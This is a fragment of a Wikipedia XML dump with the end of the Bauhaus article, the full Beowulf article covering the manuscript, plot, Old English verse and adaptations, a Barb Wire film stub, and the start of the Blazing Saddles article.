| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Gerhard Marcks]]
* [[László Moholy-Nagy]]
* [[Georg Muche]]
* [[Hinnerk Scheper]]
* [[Oskar Schlemmer]]
* [[Joost Schmidt]]
* [[Lothar Schreyer]]
* [[Gunda Stölzl]]
|}

==Gallery==
&lt;gallery&gt;
Image:Bauhaus-Dessau Festsaal.jpg|Stage.
Image:Bauhaus-Dessau Festsaal Bühnenbeleuchtung.jpg|Ceiling with light fixtures for stage.
Image:Bauhaus-Dessau Wohnheim Balkone.jpg|Studio wing.
Image:Bauhaus-Dessau Fensterfront.JPG|Mechanically opened windows.
&lt;/gallery&gt;

==References==
''The Letters and Diaries of Oskar Schlemmer''. ISBN 0-8195-4047-1.

==See also==
*[[International style (architecture)|International style]]

==External links== 
{{commons|Bauhaus}}
*[http://gilbertwesleypurdy.blogspot.com/2005/05/eye-of-beholder.html &quot;The Eye of the Beholder&quot; by Gilbert Wesley Purdy.] A Book Review/Essay which traces the lineage from the Bauhaus to M.I.T.'s Center for Advanced Visual Studies (CAVS).
*[http://www.fontscape.com/explore?7CO Some images of Bauhaus typefaces (fonts)]
*[http://www.bauhaus.de/ Bauhaus-archiv in Berlin]
*[http://www.bauhaus-dessau.de/ Foundation bauhaus dessau]
*[http://www.weissenhofsiedlung.de/ Weissenhof Estate Stuttgart]
*[http://www.cosmopolis.ch/travel/berlin/hotel_brandenburger_hof.htm Review of Hotel Brandenburger Hof Berlin with Bauhaus design furniture]

{{Westernart}}

[[Category:1920s]]
[[Category:Architectural styles]]
[[Category:Architecture schools]]
[[Category:Art schools in Germany]]
[[Category:Bauhaus| ]]
[[Category:German loanwords]]

{{Link FA|pt}}

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[[it:Bauhaus]]
[[he:באוהאוס]]
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  <page>
    <title>Beowulf</title>
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        <username>Emre D.</username>
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      <comment>Revert to revision 41756502 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Beowulf.firstpage.jpeg|thumb|right|The first page of Beowulf]]

:''This article describes '''''Beowulf''''', the epic poem. For the character '''Beowulf''', see [[Beowulf (hero)]]. For other uses, see [[Beowulf (disambiguation)]]''.

'''''Beowulf''''' (c. 700-1000 A.D.), is a traditional heroic [[epic poem]]. 3,182 lines — longer than any other Old English poem — it represents about 10% of the extant corpus of [[Anglo-Saxon literature|Old English poetry]]. The poem is untitled in the manuscript, but has been known as ''Beowulf'' since the early [[19th century]].

== Background and origins ==
[[Image:180px-Ottar03.jpg|200px|thumb|right|Beowulf meets archaeology. As the barrow in [[Vendel]] (in [[Sweden]]) was indicated as the barrow of [[Ohthere]] by local tradition, an excavation was undertaken in [[1917]]. The dating was consistent with that of Beowulf and the sagas: the early [[6th century]]. Norse sources also relate that a place called Vendel was the place of Ohthere's death]]

''Beowulf'' is one of the oldest surviving epic poems in what is identifiable as an early form of the [[English language]]. In the poem, '''Beowulf''', a hero of a [[Germanic tribe]] from southern [[Sweden]] called the [[Geats]], travels to [[Denmark]] to help defeat a terrible monster. Why was a poem about Danish and Swedish kings and heroes preserved in England? The English people are descendants of Germanic tribes called the [[Angles]], [[Saxons]], and [[Jutes]]. Jutes and northern Saxon tribes came from what is now southern Denmark and northern Germany. Thus, Beowulf tells a story about the old days in their homeland.

The poem is a work of [[fiction]], but it mentions a historic event, the raid by king [[Hygelac]] into [[Frisia]], ca [[516]]. Several of the personalities of ''Beowulf'' (e.g., [[Hrothgar]], [[Hrothulf]] and [[Ohthere]]) and some of the events also appear in early Scandinavian sources, such as the ''[[Prose Edda]]'', ''[[Gesta Danorum]]'', the [[fornaldarsaga]]s, etc. In these sources, especially the [[Hrólf Kraki]] tales deal with the same set of people in [[Denmark]] and [[Sweden]] (see [[Origins for Beowulf and Hrólf Kraki]]). 

Consequently, many people and events depicted in the epic were probably real, dating from between [[450]] and [[600]] in [[Denmark]] and southern [[Sweden]] ([[Geats]] and [[Swedes]]). As far as Sweden is concerned this dating has been confirmed by archaeological excavations of the [[barrows]] indicated by [[Snorri Sturluson]] and by Swedish tradition as the graves of [[Eadgils]] and [[Ohthere]] in [[Uppland]]. Like the [[Finnsburg Fragment]] and several shorter surviving poems, ''Beowulf'' has consequently been used as a source of information about Scandinavian personalities such as [[Eadgils]] and [[Hygelac]], and about continental Germanic personalities such as [[Offa of Anglia|Offa]], king of the continental [[Angles]].

[[Image:Eadgil's barrow.PNG|400px|right|thumb|[[Eadgils]] was buried at [[Gamla Uppsala|Uppsala]], according to [[Snorri Sturluson]]. When Eadgils' mound (to the left) was excavated, in [[1874]], the finds supported Beowulf and the sagas. They showed that a powerful man was buried in this large barrow, c [[575]], on a bear skin with two dogs and rich grave offerings. These remains include a Frankish sword adorned with gold and garnets and a [[tafl]] game with Roman pawns of ivory. He was dressed in a costly suit made of Frankish cloth with golden threads, and he wore a belt with a costly buckle. There were four cameos from the Middle East which were probably part of a casket. A burial fitting a king who was famous for his wealth in Old Norse sources. [[Ongentheow]]'s barrow to the right has not been excavated]]

The traditions behind the poem would have arrived in England at a time when the Anglo-Saxons were still in close dynastic and personal contacts with their Germanic kinsmen in Scandinavia and northern Germany. It is the only substantial Old English poem to survive that addresses matters [[hero]]ic rather than [[Christian]].

A turning point in Beowulf scholarship came in 1936 with [[J. R. R. Tolkien]]'s article ''[[Beowulf: the monsters and the critics]]'' when for the first time the poem, and [[Anglo-Saxon literature]], was seriously examined for its literary merits—not just scholarship about the origins of the English language as was popular in the 19th century.  Perhaps no other single academic article has been so instrumental in converting a medieval piece of literature from obscurity to prominence.


==The Beowulf manuscript==
{{seesubarticle|Nowell Codex}}

The precise date of the manuscript is debated, but most estimates place it close to [[1000]].  There is no general agreement on when the poem was originally composed. Some scholars argue that archaic forms of words that appear in the text suggest that the poem comes from the early [[8th century]], while others place it as late as the [[10th century]], near the time of the manuscript's copying. The poem appears in what is today called the ''Beowulf'' manuscript or [[Nowell Codex]] (British Library MS Cotton Vitellius A.xv), along with other works. The manuscript is the product of two different [[scribe]]s of different ages, the second (older) scribe taking over roughly halfway through ''Beowulf''.

The poem is known only from a single manuscript. The spellings in the surviving copy of the poem mix the [[West Saxon]] and [[Anglian dialects]] of Old English, though they are predominantly West Saxon, as are other Old English poems copied at the time.  The earliest known owner is the [[16th century]] scholar [[Laurence Nowell]], after whom the manuscript is known, though its official designation is ''Cotton Vitellius A.XV'' due to its inclusion in the catalog of [[Robert Bruce Cotton]]'s holdings in the middle of the [[17th century]].  It suffered irreparable damage in the [[Cotton Library]] fire at the ominously-named Ashburnham House in [[1731]]. 

[[Iceland]]ic scholar [[Thorkelin|Grímur Jónsson Thorkelin]] made the first transcription of the manuscript in [[1786]] and published it in [[1815]], working under a historical research commission of the [[Denmark|Danish]] government. Since that time, the manuscript has suffered additional decay, and the Thorkelin transcripts remain a prized secondary source for Beowulf scholars.  Their accuracy has been called into question, however (e.g., by [[Chauncey Brewster Tinker]] in ''The Translations of Beowulf'', a comprehensive survey of 19th century translations and editions of Beowulf), and the extent to which the manuscript was actually more readable in Thorkelin's time is unclear.

== Beowulf the hero ==
{{seesubarticle|Beowulf (hero)}}

The great Beowulf [[scholar]] [[J. R. R. Tolkien]] noted that the name ''Beowulf'' almost certainly means ''bee-wolf'' in [[Old English]]. The name ''Beowulf'' is therefore a [[kenning]] for &quot;[[bear]]&quot; due to a bear's love of honey and to the similarity and not-so-distant kinship between [[bear|ursines]] and [[canines]]. 

Beowulf appears to correspond to [[Bödvar Bjarki]], the ''battle bear'', from [[Norse sagas]]. 

== Themes and story ==
The poem as we know it is a retelling of folktales from the [[Oral tradition]] for a Christian audience. It is often assumed that the work was written by a Christian monk, on the grounds that they were the only members of Anglo-Saxon society with access to writing materials. However, the example of King Alfred forces us to consider the possibility of lay authorship. In historical terms the poem's characters would have been [[paganism|pagan]]s, but the narrator places events in a Biblical context, casting [[Grendel]] and [[Grendel's Mother]] as the kin of [[Cain]], and placing monotheistic sentiments in his characters' mouths. There are no direct references to [[Jesus]] in the text of the poem, although the book of [[Genesis]] serves as a touchstone. [http://etext.lib.virginia.edu/etcbin/toccer-new2?id=KjvGene.sgm&amp;images=images/modeng&amp;data=/texts/english/modeng/parsed&amp;tag=public&amp;part=4&amp;division=div1]. Scholars disagree as to whether ''Beowulf'''s main thematic thrust is pagan or Christian in nature. However, it can be debated that since the only calligraphers were priests, it is possible that the story was, in fact, changed by a Christian who sought to apply a Christian character to his source.

Thus reflecting the above historical context, ''Beowulf'' depicts a [[Germanic tribes|Germanic]] warrior society, in which the relationship between the leader, or king, and his [[thegn|thane]]s is of paramount importance. This relationship is defined in terms of provision and service; the thanes defend the interest of the king in return for material provisions: weapons, armor, gold, silver, food, and drinks. 

This society is strongly defined in terms of kinship; if a relative is killed it is the duty of surviving relatives to exact revenge upon his killer, either with his own life or with [[weregild]], a reparational payment. In fact, the hero's very existence owes itself to this fact, as his father [[Ecgtheow]] was banished for having killed [[Heatholaf]], a man from the prominent [[Wulfing]] [[Norse clans|clan]]. He sought refuge at the court of [[Hrothgar]] who graciously paid the weregild. Ecgtheow did not return home, but became one of the Geatish king [[Hrethel]]'s housecarls and married his daughter, by whom he had Beowulf. The duty of avenging killed kinsmen became the undoing of king Hrethel, himself, because when his oldest son [[Herebeald]] was killed by his own brother [[Hæthcyn]] in a hunting accident, it was a death that could not be avenged. Hrethel died from the sorrow. 

Moreover, this is a world governed by fate and destiny. The belief that fate controls him is a central factor in all of Beowulf's actions.

The story of ''Beowulf'' tells how King Hrothgar built a great hall called Heorot for his people. In it he and his warriors spend their time singing and celebrating, until [[Grendel]], angered by their singing, attacks the hall and kills and devours many of Hrothgar's warriors. Hrothgar and his men, helpless against Grendel's attacks, have to abandon Heorot.

Beowulf, a young warrior, hears of Hrothgar's troubles and, with his king's permission, goes to help Hrothgar. Beowulf and his men spend the night in Heorot. After they fall asleep, Grendel enters the hall and attacks them, eating up one of Beowulf's men. Beowulf, feigning sleep, leaps up and grabs Grendel's arm in a wrestling hold, and the two crash around in Heorot until it seems as though the hall will fall down with their fighting. Beowulf's men draw their swords and rush to his help, but there is magic around Grendel that makes it impossible for swords to hurt him. Finally, Beowulf tears Grendel's arm from his body, and Grendel runs home to die.

The next night, after celebrating Grendel's death, Hrothgar and his men sleep in Heorot. But [[Grendel's Mother]] attacks the hall, killing Hrothgar's most trusted warrior in revenge for Grendel's death. Hrothgar and Beowulf and their men track Grendel's Mother to her lair under an eerie lake. Beowulf prepares himself for battle; he is presented with a sword, Hrunting, by a warrior called [[Unferth]].  After stipulating a number of conditions upon his death to Hrothgar (including the taking in of his kinsmen, and the inheritance by Unferth of Beowulf's estate), Beowulf dives into the lake.  There, he is swiftly detected and grasped by Grendel's mother.  She, unable to harm Beowulf through his armour, drags him to the bottom. There, in a cavern containing her son's body and the remains of many men that the two have killed, Grendel's mother fights Beowulf.  Grendel's mother at first prevails, after Beowulf, finding that the sword given him by Unferth cannot harm his foe, discards it in a fury.  Again, he is saved from the effects of his opponent's attack by his armour and, grasping a mighty sword from Grendel's mother's armoury (which, the poem tells us, no other man could have hefted in battle) Beowulf beheads her.  Travelling further into the lair, Beowulf discovers Grendel's corpse; he severs the head, and with it he returns to Heorot, where he is given many gifts by an even more grateful Hrothgar.

Beowulf returns home and eventually becomes king of his own people. One day, late in Beowulf's life, a man steals a golden cup from a dragon's lair. When the dragon sees that the cup has been stolen, it leaves its cave in a rage, burning up everything in sight. Beowulf and his warriors come to fight the dragon, but only one of the warriors, a brave young man named Wiglaf, stays to help Beowulf, because the rest are too afraid. Beowulf kills the dragon with Wiglaf's help, but dies from the wounds he has received. The dragon's treasure is taken from its lair and buried with Beowulf's ashes. And with that the poem ends.

As the ''[[W. W. Norton|Norton Anthology of English Literature]]'' indicates, most scholars believe that ''Beowulf'' was written by a Christian poet [http://www.wwnorton.com/nael/middleages/review/summary.htm#3]. Grendel and Grendel's Mother are described as descendants of Cain, and share similarities with antagonists in medieval Christian stories. Since  the ''Beowulf'' poet was also very knowledgeable about pagan beliefs, the descriptions of Grendel and Grendel's mother, for example, could owe as much to pagan beliefs about trolls as they do to Christian beliefs about demons. In addition, Beowulf's cremation at the end of the poem also refers to a pagan practice. Even though Beowulf was a pagan, the poem's Christian audience could admire his heroic deeds. ''Beowulf'' may thus be a product of the poet's knowledge of both Christian beliefs and the ancient history of his people. In combining them as he did, the ''Beowulf'' poet created a wonderful story.

== Old English glossaries and modern English translations ==

Beowulf is the longest poem that has come down to us from Old English, the ancient form of modern English.  The opening lines state:
:  &quot;Hwæt! We Gardena in geardagum þeodcyninga þrym gefrunon hu ða æþelingas ellen fremedon.&quot;
In modern English, this reads:
:   &quot;What! We have heard of the glory of the spear-Danes in the old days, of the people's kings, how the princes did deeds of valor.&quot;

Old English poetry such as Beowulf is very different from modern poetry. It was probably recited, for few people at that time were able to read. Instead of rhyme, poets typically used [[alliteration]] - a technique in which the first sound of several words in a line is the same, as in &quot;Peter Piper picked a peck of pickled peppers.&quot; A line of Old English poetry usually has three words that alliterate. The meter, or rhythm, of the poetry works together with the alliteration: The stress in a line falls on the first syllables of the words that alliterate, as in the line &quot;weo'x under wo'lcnum, weo'rðmyndum þah.&quot; (He grew under the sky, he prospered in his glory.)

Old English poets also used [[kenning]]s, poetic ways of saying simple things. For example, a poet might call the sea the &quot;swan-road&quot; or the &quot;whale-road&quot;; a king might be called a &quot;ring-giver.&quot; There are many kennings in Beowulf. In fact, some scholars think the name Beowulf itself may be a kenning. It may mean &quot;bee-wolf,&quot; a term for a bear, which attacks beehives the way a wolf attacks other animals. (Gay, David E., &quot;Beowulf.&quot;The New Book of Knowledge. Scholastic Library Publishing, 2005 [http://nbk.grolier.com] (October 17, 2005))
 
Fr. Klaeber's ''Beowulf and the Fight at Finnsburg'' has been the standard Old English text/glossary used by scholars since the [[1920s]].  Two recent Old English text/glossaries include George Jack's 1997, ''Beowulf : A Student Edition.'' and Bruce Mitchell's 1998,  ''Beowulf: An Edition with Relevant Shorter Texts''. 

The first translation, by [[Thorkelin|Grímur Jónsson Thorkelin]], was to [[Latin]], in connection with the first publication of his transcription. [[Nikolaj Frederik Severin Grundtvig]], greatly unsatisfied with this translation, made the first translation into a modern language — [[Danish language|Danish]] — which was published in [[1820]]. After Grundtvig's travels to England came the first English translation, by [[J. M. Kemble]] in [[1837]].

Since then there have been numerous translations of the poem in English. Irish poet [[Seamus Heaney]] and [[E. Talbot Donaldson]] have both published translations with [[W.W. Norton]] of [[New York]].  Other popular translations of the poem include those by [[Howell D. Chickering]] and [[Frederick Rebsamen]]. 

[[J. R. R. Tolkien]] believed the translation by [[J. J. Earle]] was not accurate, and did not convey the meaning and symbolism of the storyline or the beauty of the prose of the poem. Chauncey Brewster Tinker was much more positive, however.

== Form ==
The poem is in alliterative [[measure (music)|measure]], in which the alliterative unit is the line and the [[meter (poetry)|metrical unit]] is the half-line.

Its poetic vocabulary included sets of metrical compounds that are varied according to alliterative needs. It also makes extensive use of [[elision|elided]] [[metaphor]]s.

The two halves of the poem are distinguished in many ways: youth then age; Denmark, then Geatland; the hall, then the barrow; public, then intimate; diverse, then focussed.

Here is a small sample including the first naming in the poem of Beowulf himself.

After each line is translation to modern English. A freely-available translation of the poem, now out of copyright, is that of Francis Gummere.  It can be had at [[Project Gutenberg]] [http://www.gutenberg.org/etext/981].
{| cellspacing=&quot;0&quot; style=&quot;white-space: nowrap;&quot;
| ''Line'' || ''Original'' || ''Translation''
|-
|  || oretmecgas æfter æþelum frægn:
| ...asked the warriors of their lineage:
|-
| || &quot;Hwanon ferigeað ge fætte scyldas,
| &quot;Whence do you carry ornate shields,
|-
|  || græge syrcan ond grimhelmas,
| Grey mail-shirts and masked helms,
|-
| [335] || heresceafta heap? Ic eom Hroðgares
| A multitude of spears? I am [[Hrothgar]]'s
|-
|  || ar ond ombiht. Ne seah ic elþeodige
| herald and officer. I have never seen, of foreigners,
|-
|  || þus manige men modiglicran,
| So many men, of braver bearing,
|-
|  || Wen ic þæt ge for wlenco, nalles for wræcsiðum,
| I know that out of daring, by no means in exile,
|-
|  || ac for higeþrymmum Hroðgar sohton.&quot;
| But for greatness of heart, you have sought Hrothgar.&quot;
|-
| [340] || Him þa ellenrof andswarode,
| To him, thus, bravely, it was answered,
|-
|  || wlanc Wedera leod, word æfter spræc,
| By the proud [[Geat]]ish chief, who these words thereafter spoke,
|-
|  || heard under helme: &quot;We synt Higelaces
| Hard under helm: &quot;We are [[Hygelac]]'s
|-
|  || beodgeneatas; Beowulf is min nama.
| Table-companions. [[Beowulf (hero)|Beowulf]] is my name.
|-
|  || Wille ic asecgan sunu Healfdenes,
| I wish to declare to the son of [[Healfdene]]
|-
| [345] || mærum þeodne, min ærende,
| To the renowned prince, my mission,
|-
| || aldre þinum, gif he us geunnan wile
| To your lord, if he will grant us
|-
|  || þæt we hine swa godne gretan moton.&quot;
| that we might be allowed to address him, he who is so good.&quot;
|-
|  || Wulfgar maþelode (þæt wæs Wendla leod;
| Wulfgar Spoke &amp;ndash; that was a [[Vendsyssel|Vendel]] chief;
|-
|  || his modsefa manegum gecyðed,
| His character was to many known
|-
| [350] || wig ond wisdom): &quot;Ic þæs wine Deniga,
| His war-prowess and wisdom &amp;ndash; &quot;I, of him, friend of [[Daner|Danes]],
|-
| || frean Scildinga, frinan wille,
| the [[Scylding]]s' lord, will ask,
|-
|  || beaga bryttan, swa þu bena eart,
| Of the [[Germanic king|ring bestower]], as you request,
|-
|  || þeoden mærne, ymb þinne sið,
| Of that renowned prince, concerning your venture,
|-
|  || ond þe þa ondsware ædre gecyðan
| And will swiftly provide you the answer
|-
| [355] || ðe me se goda agifan þenceð.&quot;
| That the great one sees fit to give me.&quot;
|}

== Influence upon contemporary works and pop culture==
===Literature===
* ''[[The Catcher in the Rye]]'': Holden Caulfield mentions ''Beowulf'' when explaining why English  was the only subject he passed while attending Pencey Prep.
*''[[Eaters of the Dead]]'': The ''Beowulf'' story, in combination with the [[10th century]] [[Arabic language|Arabic]] narrative of [[Ahmad ibn Fadlan]], was used as the basis for this [[Michael Crichton]] novel.
*''[[Grendel (novel)|Grendel]]'': The ''Beowulf'' story is retold from [[Grendel]]'s point of view in this (1971) [[novel]] by  [[John Gardner]].
* The [[Heorot]] series of science-fiction novels, by [[Steven Barnes]], [[Jerry Pournelle]], and [[Larry Niven]], is named after the stronghold of King Hrothgar and partly parallels ''Beowulf''.
* [[Inheritance Trilogy]]: The King of the Dwarves in the these novels  by [[Christopher Paolini]] is named Hrothgar, the same as the King of the Danes in ''Beowulf''.
* ''[[The Lord of the Rings]]'': ''Beowulf'' exercised an important influence on [[J. R. R. Tolkien]], who wrote the landmark essay ''[[Beowulf: the monsters and the critics]]'' while a professor at [[University of Oxford|Oxford University]].  Tolkien also translated the poem, which the Tolkien Society has recently decided to publish.  Grendel and Grendel's mother were the inspiration for the [[Orc]]s in his Ring trilogy (see also the Old English word ''orcneas'', which makes but a single appearance in the poem). Many parallels can also be drawn between ''Beowulf'' and ''[[The Hobbit]]''.

===Films===

* ''[[Grendel, Grendel, Grendel]]'' ([[1981]]): an animated film based on [[John Gardner]]'s novel and starring [[Peter Ustinov]]
* ''[[Animated Epics: Beowulf]]'' ([[1998]]): voiced by [[Joseph Fiennes]]
*''[[The 13th Warrior]]'' ([[1999]]): This film, starring [[Antonio Banderas]] as [[Ibn Fadlan]] and [[Vladimir Kulich]] as Buliwyf (Beowulf), was based upon Crichton's novel mentioned above.
*''[[Beowulf (1999 film)|Beowulf]]'' ([[1999]]): a science-fiction/fantasy film starring [[Christopher Lambert]], loosely influenced by Beowulf 
*''[[Beowulf &amp; Grendel]]'' ([[2005]]): an independent feature starring [[Gerard Butler]]
*''[[Beowulf: Prince of the Geats]]'' ([[2006]]):  a low-budget feature donating 100% of its sales and promotions to the [[American Cancer Society]]
*''[[Beowulf (2007 film)|Beowulf]]'' ([[2007]]): a computer-animated feature directed by [[Robert Zemeckis]]

===Additional film, television &amp; music===
*''[[Star Trek: Voyager| Star Trek Voyager]]'': In the episode ''[http://www.startrek.com/startrek/view/library/episodes/VOY/detail/68842.html Heroes and Demons]'' Ensign [[Harry Kim (Star Trek)| Harry Kim]] ran a holographic version of the Beowulf poem with himself as the central character. Most of the episode took place inside this Beowulf [http://memory-alpha.org/en/wiki/Holonovel holonovel], and revolved around [[Doctor (Star Trek)|The Doctor]]'s attempt to rescue his fellow crewmates.
*Progressive rock band [[Marillion]] released a song called &quot;Grendel&quot; based on [[Grendel (novel)|John Gardner's rendition of the poem]]. In true progressive rock traditions, the song was in excess of 15 minutes and when played live involved lead singer [[Fish (singer)|Fish]] acting out a ritual 'slaughtering' of a member of the audience pulled out of the front row.
*Beowulf and Grendel appear in several episodes of [[Xena: Warrior Princess]], including &quot;The Rheingold&quot;. Grendel is the son of the monster Grinhilda that is made after she wears the Rheingold ring, that Xena made. Beowulf searches for Xena in order to stop Grindel and Grinhilda after 35 years.

===Games===
*''[http://www.beowulfgame.com Beowulf]'': action adventure game based on the original story, coming for PC and console
*''[[Castlevania: Aria of Sorrow]]'': The magical sword [[Hrunting]], which Beowulf used in his fight with [[Grendel's Mother]], is featured in the GBA game.
* ''[[Devil May Cry 3]]:'' In this [[PlayStation 2]] video game, Beowulf appears as a large, one-eyed demon.  There were also a pair of [[Gauntlet (gloves)|gauntlet]]s and [[leg guard]]s imbued with light powers that were named Beowulf.
* ''[[Final Fantasy Tactics]]'': In this [[Computer and video games|video game]], the main character's name is Ramza Beoulve, his last name possibly a mistranslation of Beowulf (in [[Japanese language|Japanese]] it would be the same [[katakana]]). The player also meets a knight named Beowulf who, ironically, is in love with a woman who has been transformed into a [[dragon]].  Beowulf and the player embark on a quest to restore her to her human form.
*''[[Final Fantasy VIII]]'': [[Grendel]] is featured as an enemy monster in this PlayStation game.
*''[[Spartan: Total Warrior]]'': Beowulf appears as the king of the barbarians.
*''[[Final Fantasy X]]'': Beowulf's legendary blade [[Hrunting]] is available to the main character of this game.
*''[[Skies of Arcadia]]'': [[Grendel]] is the name of the green [[Gigas]].
*''[[Creatures]] (PC/ Playstation)'': [[Grendel]] is the name of the vicious beasts that stalk Albia (Creatures/C2) and the Shee Ark (C3)

===Comics===
* ''[[Speakeasy Comics]]'': In [[April 2005]] this series debuted a ''Beowulf'' monthly title featuring the character having survived into the modern era and now working alongside law enforcement in [[New York]] to handle superpowered beings.
*The renowned comics author [[Neil Gaiman]] has also depicted the tale of Beowulf in one of his comics.
* ''Beowulf'' by [[Reiner Knizia]] is a board game based on the poem.  Published by [[Fantasy Flight Games]], it is illustrated by famed [[Lord of the Rings]] artist [[John Howe]].

* In 1975 DC Comics published a ongoing series titled ''Beowulf Dragon Slayer'', which was edited by Dennis O'Neil, written by Michael Uslan and primarily illustrated by Ricardo Villamonte. It was a somewhat lighthearted, but no less action/adventure oriented extrapolation of the ancient poem which used many of the characters but led them in more of a 12 Labors of Hercules or ''Homer's Odyssey'' type direction. Part of an attempted line of sword and sorcery/fantasy adventure series, it didn't catch on and only lasted 6 issues, and has been mostly forgotten by comics fans.

* IN 1984 First Comics published the Graphic Novel 'Beowulf' by Jerry Bingham.

== References ==

===Old English plus glossary===
* Alexander, Michael. ''Beowulf: A Glossed Text''. Second ed. Penguin: London, 2000.
* Jack, George. ''Beowulf : A Student Edition''. Oxford University Press: New York, 1997. 
* Klaeber, Fr, ed. ''Beowulf and the Fight at Finnsburg''. Third ed. Boston: Heath, 1950. 
* Mitchell, Bruce, and Fred Robinson, eds. ''Beowulf: An Edition with Relevant Shorter Texts.'' Oxford, UK: Malden Ma., 1998.

===Modern English translations===
* Crossley-Holland, Kevin; Mitchell, Bruce. ''Beowulf: A New Translation''. London: Macmillan, 1968.
* [[Seamus Heaney|Heaney, Seamus.]] ''Beowulf: A New Verse Translation''. New York: W.W. Norton, 2001.
*--&quot;Introduction&quot; in Crossley-Holland, Kevin (tr.) ''Beowulf''. London: Folio, 1973.
* [[Edwin Morgan|Morgan, Edwin]]. ''Beowulf''. Manchester: Carcanet, 2002 (first published 1952).
* Swanton, Michael (ed.). ''Beowulf'' (Manchester Medieval Studies). Manchester: University, 1997.
* Tinker, Chauncey Brewster. ''The translations of Beowulf; a critical bibliography.'' New York: Holt, 1903. (Modern reprint with new introduction, Hamden: Archon Books, 1974).

===Dual-Language Editions===
* I. Chickering, Howell D. ''Beowulf: a dual-language edition.''New York: Anchor books ed., 1977,1989 ISBN 0-385-06213-3

== External links ==
* [http://www.engl.virginia.edu/OE/Beowulf.Readings/Beowulf.Readings.html Beowulf read aloud in Old English]
* '''Translations of Beowulf at Project Gutenberg:'''
**''[http://www.gutenberg.org/etext/981 Modern English translation]'' by [[Francis Barton Gummere]]
**''[http://www.gutenberg.org/etext/16328 Modern English translation]'' by [[John Lesslie Hall]]
** ''[http://www.gutenberg.org/etext/9701 Old English edition]'' edited by [[James Albert Harrison]] and [[Robert Sharp]]

* [http://www.heorot.dk/ Beowulf on Steorarume(Beowulf in Cyberspace)] by [[Benjamin Slade]], full Old English text and new translation, with many other resources
* [http://digital.library.wisc.edu/1711.dl/Literature.RinglBeowulf Ringler, Dick. ''Beowulf: A New Translation For Oral Delivery''], May 2005. Searchable text with full audio available, from the University of Wisconsin-Madison Libraries.
* [http://alliteration.net/beoIndex.htm Several different Modern English translations] 
* [http://www.jagular.com/beowulf/outlines.shtml Summary of the story]
* [http://www.shadowedrealm.com/articles/exclusive/article.php?id=3 ''Beowulf'': Recognizing the Past]
* [http://www.shadowedrealm.com/articles/exclusive/article.php?id=4 Christianity in ''Beowulf'']
* [http://penelope.uchicago.edu/~grout/encyclopaedia_romana/britannia/anglo-saxon/beowulf/beowulf.html James Grout: ''Beowulf'', part of the Encyclopædia Romana]
* [http://uashome.alaska.edu/%7Ejndfg20/website/beowulf.htm Beowulf: The Movie(s). A Comprehensive Look at the (Brief) List of Cinematic Adaptations of the English Language's Most Enduring Epic Poem] an article from [http://uashome.alaska.edu/%7Ejndfg20/website/ Film as Art: Danél Griffin's Guide to Cinema]
* [http://www.jagular.com/beowulf/fire.shtml Additional information about the Ashburnham House fire]
* [http://www.jagular.com/beowulf/book-table.shtml Several dozen more translations, with images of the book covers, and ISBN numbers]
* [http://www.beowulfandgrendel.org/ Searcheable Beowulf text and Searcheable Old-English dictionary at www.BeowulfAndGrendel.Org]

[[Category:Nordic folklore]]
[[Category:English heroic legends]]
[[Category:History of the Germanic peoples]]
[[Category:Medieval legends]]
[[Category:Old English poems]]

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  <page>
    <title>Barb Wire</title>
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      <contributor>
        <ip>68.58.123.201</ip>
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      <text xml:space="preserve">:''For the fencing material, see [[barbed wire]].''

[[Image:Barb Wire.jpg|thumb|200px|Publicity photo from ''Barb Wire'']]

'''''Barb Wire''''' was a [[comic book]] series set in a post-apocalyptic world, published by [[Comics Greatest World]], an imprint of [[Dark Horse Comics]].

The [[1996]] motion picture adaptation was a star vehicle for [[Pamela Anderson]], which was intended to enable her to cross over from [[television]] to [[film|movie]] stardom. With a plot based loosely on ''[[Casablanca (film)|Casablanca]]'', the film had Anderson playing the title role, a [[mercenary]] and [[nightclub]] owner in a [[cyberpunk]] future entrusted with looking after a pair of [[contact lens]]es necessary for the exposure of a political scandal. The film was critically mauled on its release, but became a moderate hit because of its star.

==External links ==
*{{imdb title|id=0115624|title=Barb Wire}}

{{film-stub}}

[[Category:Dark Horse titles]]
[[Category:Dark Horse Comics characters]]
[[Category:1996 films]]
[[Category:Films based on comics]]
[[Category:Worst Picture Razzie Nominee]]

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    <title>Blazing Saddles</title>
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      <comment>misc. corrections &amp; style tweaks</comment>
      <text xml:space="preserve">{{Infobox Film |
  name           = Blazing Saddles |
  image          = Blazingsaddlesdvdcover.gif |
  caption        = Blazing Saddles DVD Cover |
  director       = [[Mel Brooks]] |
  producer       = [[Michael Hertzberg]] |
  writer         = [[Andrew Bergman]] (story)&lt;br&gt;[[Mel Brooks]]&lt;br&gt;[[Norman Steinberg]]&lt;br&gt;[[Andrew Bergman]]&lt;br&gt;[[Richard Pryor]]&lt;br&gt;[[Alan Uger]] (screenplay) |
  starring       = [[Cleavon Little]]&lt;br /&gt;[[Gene Wilder]]&lt;br /&gt;[[Harvey Korman]] |
  music          = [[Mel Brooks]]&lt;br /&gt;[[John Morris]] |
  cinematography = [[Joseph F. Biroc]] |
  editing        = [[Danford B. Greene]]&lt;br /&gt;[[John C. Howard]] |
  distributor    = [[Warner Bros.]] |
  released       = [[February 7]], [[1974]] |
  running time   = 93 minutes |
  language       = [[English language|English]]&lt;br&gt;[[Yiddish language|Yiddish]] |
  budget         = $2.6 million [[United States dollar|USD]] |
  imdb_id        = 0071230
}}

'''''Blazing Saddles''''' is a [[Warner Bros.]] [[1974 in film|1974]] [[comedy film|comedy]] directed by [[Mel Brooks]] and starring [[Cleavon Little]] and [[Gene Wilder]]. The film was written (in what Brooks called ''[[Your Show of Shows]]''-style) by a team of writers, namely Brooks, [[Andrew Bergman]], [[Richard Pryor]], [[Norman Steinberg]], and [[Alan Uger]]; it was based on Bergman's story and draft. Brooks appears in multiple supporting roles, including Governor Le Petomane and a [[Yiddish]]-speaking Indian Chief. [[Slim Pickens]], [[Alex Karras]], [[David Huddleston]], and Brooks regulars [[Dom DeLuise]], [[Madeline Kahn]] and [[Harvey Korman]] are also featured. Musician [[Count Basie]] has a cameo.

The film is an over-the-top [[parody]] of the [[Western film]] genre, in addition to being an intelligent satire about racism. It is also considered as one of the forerunners of [[gross-out film]]s that proliferated since the success of ''[[Animal House]]''.

==Plot summary==
{{spoiler}}
